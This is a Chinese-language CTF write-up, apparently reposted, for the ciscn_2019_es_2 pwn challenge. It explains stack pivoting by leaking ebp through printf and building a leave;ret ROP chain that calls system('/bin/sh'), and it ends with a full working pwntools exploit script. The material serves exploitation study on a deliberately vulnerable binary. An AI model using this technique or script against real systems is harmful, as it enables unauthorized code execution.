pwn-ciscn_2019_es_2(棧遷移)


這道題用來做棧遷移的例題真是再合適不過了

 

查看防護

 

 main函數

 

 

存在hack函數,執行系統命令echo flag。沒有binsh,需要自己寫入

 

 

 

 vuln函數

 很明顯是棧溢出,但是溢出的空間不足。read大小為0x30,s變量和ebp距離為0x28。只能覆蓋ebp和ret。

因此使用棧遷移解決棧空間不足的問題。

 

 

 

把rop鏈寫棧上,首先利用printf獲取上個棧幀的ebp。printf遇到00就會截斷,如果我們輸入的內容正好把ebp前面的區域完全覆蓋,

printf就會順便把ebp帶出來。

 

0x48-0x10等於s距ebp的偏移0x38

 

 第二次read寫入rop

payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(ebp-0x38)+p32(leave_ret)

直接看payload晦澀難懂,所以我附上調試過程

 

棧遷移核心思想就是利用leave和ret轉移ebp和esp。leave和ret常用於復原棧

leave=mov esp,ebp

pop ebp

ret=pop eip

 

紅色箭頭所指地址是執行leave之后的對應的ebp和esp

 

 可以看到結果確實如此。這時可能你會注意到一個問題,那就是ebp地址比esp地址小。這其實無傷大雅,

因為我們最終目的是通過esp控制eip。ebp只是用來間接定位,

 

執行ret后的結果

 

eip發生了跳轉

 接下來執行的就是我們寫入的leave_ret(用哪個函數里的leave_ret都行,我選擇的是hack函數里的)

和前面的流程一樣,我們直接看leave后的結果

 

 非常amazing啊,esp指向了我們寫入的system,接下來的ret就會使eip指向system函數。

 

現在我們回過頭看payload,就不難理解前面padding的aaaa的作用了。ebp-0x38指向aaaa的地址。aaaa實際就是leave_ret后的ebp指向地址的內容,

可以起到定位的作用。因為接下來我們輸入的leave_ret會使esp等於ebp后面的地址,

而此時ebp后面的地址是system。之后就能getshell了

 

順便一提,接收printf返回的ebp前要先recv前面read輸入的內容

exp:

 1 #!/usr/bin/python
 2 from pwn import *
 3 
 4 #a=remote("node3.buuoj.cn",26501)
 5 a=process("ciscn_2019_es_2")
 6 context(arch='i386',os='linux',log_level='debug')
 7 
 8 sys=0x8048400
 9 leave_ret=0x08048562
10 
11 a.recvuntil("Welcome, my friend. What's your name?")
12 payload='a'*0x20+'b'*8
13 a.send(payload)
14 a.recvuntil("bbbbbbbb")
15 ebp=u32(a.recv(4))
16 print (hex(ebp))
17 payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"
18 payload2=payload2.ljust(0x28,'\x00')
19 payload2+=p32(ebp-0x38)+p32(leave_ret)
20 print (payload2)
21 #gdb.attach(a)
22 a.send(payload2)
23 
24 a.interactive()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM